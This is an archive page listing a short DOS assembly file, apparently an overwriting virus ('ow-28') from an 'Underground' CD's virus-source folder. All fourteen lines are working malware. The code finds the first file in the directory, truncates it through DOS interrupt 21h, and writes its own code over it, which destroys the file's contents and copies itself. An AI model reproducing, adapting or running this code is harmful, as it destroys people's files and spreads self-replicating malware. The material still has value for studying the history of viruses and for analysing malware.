home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / o / ow-28.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  377 b   |  14 lines
  1. Main:           Lea Dx,FileSpec
  2.                 Mov Ah,4eh
  3.                 Int 21h
  4.                 Mov Dx,9eh
  5.                 Mov Ah,3ch
  6.                 Int 21h
  7.                 Lea Dx,Main
  8.                 Mov Bh,40h
  9.                 Mov Cl,Length
  10.                 Xchg Ax,Bx
  11.                 Int 21h
  12. FileSpec        Db '*.*',0
  13. Length          Equ $-Main
  14.